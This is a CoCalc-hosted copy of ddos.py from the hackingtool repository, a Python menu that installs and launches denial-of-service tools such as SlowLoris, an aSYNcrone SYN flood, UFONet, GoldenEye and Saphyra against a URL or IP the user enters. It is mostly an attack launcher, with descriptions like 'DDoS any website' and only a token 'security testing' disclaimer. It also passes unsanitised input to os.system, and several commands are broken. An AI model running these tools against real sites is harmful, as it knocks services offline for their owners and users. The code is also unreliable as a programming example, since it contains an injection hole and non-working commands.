Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
Z4nzu
GitHub Repository: Z4nzu/hackingtool
Path: blob/master/tools/ddos.py
1761 views
1
# coding=utf-8
2
import os
3
import subprocess
4
5
from rich.console import Console
6
from rich.prompt import Prompt
7
from rich.panel import Panel
8
from rich.text import Text
9
from rich.table import Table
10
11
from core import HackingTool
12
from core import HackingToolsCollection
13
14
console = Console()
15
P_COLOR = "magenta" # primary purple/magenta theme for styling
16
17
18
class ddos(HackingTool):
19
TITLE = "ddos"
20
DESCRIPTION = (
21
"Best DDoS Attack Script With 36 Plus Methods."
22
"DDoS attacks\n\b "
23
"for SECURITY TESTING PURPOSES ONLY! "
24
)
25
26
INSTALL_COMMANDS = [
27
"git clone https://github.com/the-deepnet/ddos.git",
28
"cd ddos;sudo pip3 install -r requirements.txt",
29
]
30
PROJECT_URL = "https://github.com/the-deepnet/ddos.git"
31
32
def run(self):
33
console.print(Panel(Text(self.TITLE, justify="center"), style=f"bold {P_COLOR}"))
34
method = Prompt.ask("Enter Method >>")
35
url = Prompt.ask("Enter URL >>")
36
threads = Prompt.ask("Enter Threads >>")
37
proxylist = Prompt.ask("Enter ProxyList >>")
38
multiple = Prompt.ask("Enter Multiple >>")
39
timer = Prompt.ask("Enter Timer >>")
40
os.system("cd ddos;")
41
subprocess.run(
42
[
43
"sudo",
44
"python3 ddos",
45
method,
46
url,
47
"socks_type5.4.1",
48
threads,
49
proxylist,
50
multiple,
51
timer,
52
]
53
)
54
55
56
class SlowLoris(HackingTool):
57
TITLE = "SlowLoris"
58
DESCRIPTION = (
59
"Slowloris is basically an HTTP Denial of Service attack."
60
"It send lots of HTTP Request"
61
)
62
INSTALL_COMMANDS = ["sudo pip3 install slowloris"]
63
64
def run(self):
65
console.print(Panel(Text(self.TITLE, justify="center"), style=f"bold {P_COLOR}"))
66
target_site = Prompt.ask("Enter Target Site:-")
67
subprocess.run(["slowloris", target_site])
68
69
70
class Asyncrone(HackingTool):
71
TITLE = "Asyncrone | Multifunction SYN Flood DDoS Weapon"
72
DESCRIPTION = (
73
"aSYNcrone is a C language based, mulltifunction SYN Flood "
74
"DDoS Weapon.\nDisable the destination system by sending a "
75
"SYN packet intensively to the destination."
76
)
77
INSTALL_COMMANDS = [
78
"git clone https://github.com/fatih4842/aSYNcrone.git",
79
"cd aSYNcrone;sudo gcc aSYNcrone.c -o aSYNcrone -lpthread",
80
]
81
PROJECT_URL = "https://github.com/fatihsnsy/aSYNcrone"
82
83
def run(self):
84
console.print(Panel(Text(self.TITLE, justify="center"), style=f"bold {P_COLOR}"))
85
source_port = Prompt.ask("Enter Source Port >>")
86
target_ip = Prompt.ask("Enter Target IP >>")
87
target_port = Prompt.ask("Enter Target port >>")
88
os.system("cd aSYNcrone;")
89
subprocess.run(
90
["sudo", "./aSYNcrone", source_port, target_ip, target_port, 1000]
91
)
92
93
94
class UFONet(HackingTool):
95
TITLE = "UFOnet"
96
DESCRIPTION = (
97
"UFONet - is a free software, P2P and cryptographic "
98
"-disruptive \n toolkit- that allows to perform DoS and "
99
"DDoS attacks\n\b "
100
"More Usage Visit"
101
)
102
INSTALL_COMMANDS = [
103
"sudo git clone https://github.com/epsylon/ufonet.git",
104
"cd ufonet;sudo python3 setup.py install;sudo pip3 install GeoIP;sudo pip3 install python-geoip;sudo pip3 install pygeoip;sudo pip3 install requests;sudo pip3 install pycrypto;sudo pip3 install pycurl;sudo pip3 install whois;sudo pip3 install scapy-python3",
105
]
106
RUN_COMMANDS = ["sudo python3 ufonet --gui"]
107
PROJECT_URL = "https://github.com/epsylon/ufonet"
108
109
110
class GoldenEye(HackingTool):
111
TITLE = "GoldenEye"
112
DESCRIPTION = (
113
"GoldenEye is a python3 app for SECURITY TESTING PURPOSES ONLY!\n"
114
"GoldenEye is a HTTP DoS Test Tool."
115
)
116
INSTALL_COMMANDS = [
117
"sudo git clone https://github.com/jseidl/GoldenEye.git;"
118
"chmod -R 755 GoldenEye"
119
]
120
PROJECT_URL = "https://github.com/jseidl/GoldenEye"
121
122
def run(self):
123
console.print(Panel(Text(self.TITLE, justify="center"), style=f"bold {P_COLOR}"))
124
os.system("cd GoldenEye ;sudo ./goldeneye.py")
125
console.print("Go to Directory\n[*] USAGE: ./goldeneye.py <url> [OPTIONS]")
126
127
128
class Saphyra(HackingTool):
129
TITLE = "SaphyraDDoS"
130
DESCRIPTION = "A complex python code to DDoS any website with a very easy usage.!\n"
131
INSTALL_COMMANDS = [
132
"sudo su",
133
"git clone https://github.com/anonymous24x7/Saphyra-DDoS.git",
134
"cd Saphyra-DDoS",
135
"chmod +x saphyra.py",
136
"python saphyra.py",
137
]
138
PROJECT_URL = "https://github.com/anonymous24x7/Saphyra-DDoS"
139
140
def run(self):
141
console.print(Panel(Text(self.TITLE, justify="center"), style=f"bold {P_COLOR}"))
142
url = Prompt.ask("Enter url>>>")
143
try:
144
os.system("python saphyra.py " + url)
145
except Exception:
146
console.print("Enter a valid url.", style="bold red")
147
148
149
class DDOSTools(HackingToolsCollection):
150
TITLE = "DDOS Attack Tools"
151
TOOLS = [SlowLoris(), Asyncrone(), UFONet(), GoldenEye(), Saphyra()]
152
153
def _get_attr(self, obj, *names, default=""):
154
for n in names:
155
if hasattr(obj, n):
156
return getattr(obj, n)
157
return default
158
159
def pretty_print(self):
160
table = Table(title="DDOS Attack Tools", show_lines=True, expand=True)
161
table.add_column("Title", style="magenta", no_wrap=True)
162
table.add_column("Description", style="magenta")
163
table.add_column("Project URL", style="magenta", no_wrap=True)
164
165
for t in self.TOOLS:
166
title = self._get_attr(t, "TITLE", "Title", "title", default=t.__class__.__name__)
167
desc = self._get_attr(t, "DESCRIPTION", "Description", "description", default="")
168
url = self._get_attr(t, "PROJECT_URL", "PROJECT_URL", "PROJECT", "project_url", "projectUrl", default="")
169
table.add_row(str(title), str(desc).strip().replace("\n", " "), str(url))
170
171
panel = Panel(table, title=f"[{P_COLOR}]Available Tools[/ {P_COLOR}]", border_style=P_COLOR)
172
console.print(panel)
173
174
def show_options(self, parent=None):
175
console.print("\n")
176
console.print(Panel.fit(
177
"[bold magenta]DDOS Attack Tools Collection[/bold magenta]\n"
178
"Select a tool to view options or run it.",
179
border_style=P_COLOR
180
))
181
182
table = Table(title="[bold cyan]Available Tools[/bold cyan]", show_lines=True, expand=True)
183
table.add_column("Index", justify="center", style="bold yellow")
184
table.add_column("Tool Name", justify="left", style="bold green")
185
table.add_column("Description", justify="left", style="white")
186
187
for i, tool in enumerate(self.TOOLS):
188
title = self._get_attr(tool, "TITLE", "Title", "title", default=tool.__class__.__name__)
189
desc = self._get_attr(tool, "DESCRIPTION", "Description", "description", default="—")
190
table.add_row(str(i + 1), title, desc or "—")
191
192
table.add_row("[red]99[/red]", "[bold red]Exit[/bold red]", "Return to previous menu")
193
console.print(table)
194
195
try:
196
choice = Prompt.ask("[bold cyan]Select a tool to run[/bold cyan]", default="99")
197
choice = int(choice)
198
if 1 <= choice <= len(self.TOOLS):
199
selected = self.TOOLS[choice - 1]
200
# If tool exposes show_options (collection-style), delegate to it
201
if hasattr(selected, "show_options"):
202
selected.show_options(parent=self)
203
# Otherwise, if runnable, call its run method
204
elif hasattr(selected, "run"):
205
selected.run()
206
else:
207
console.print("[bold yellow]Selected tool has no runnable interface.[/bold yellow]")
208
elif choice == 99:
209
return 99
210
except Exception:
211
console.print("[bold red]Invalid choice. Try again.[/bold red]")
212
return self.show_options(parent=parent)
213
214
215
if __name__ == "__main__":
216
tools = DDOSTools()
217
tools.pretty_print()
218
tools.show_options()
219
220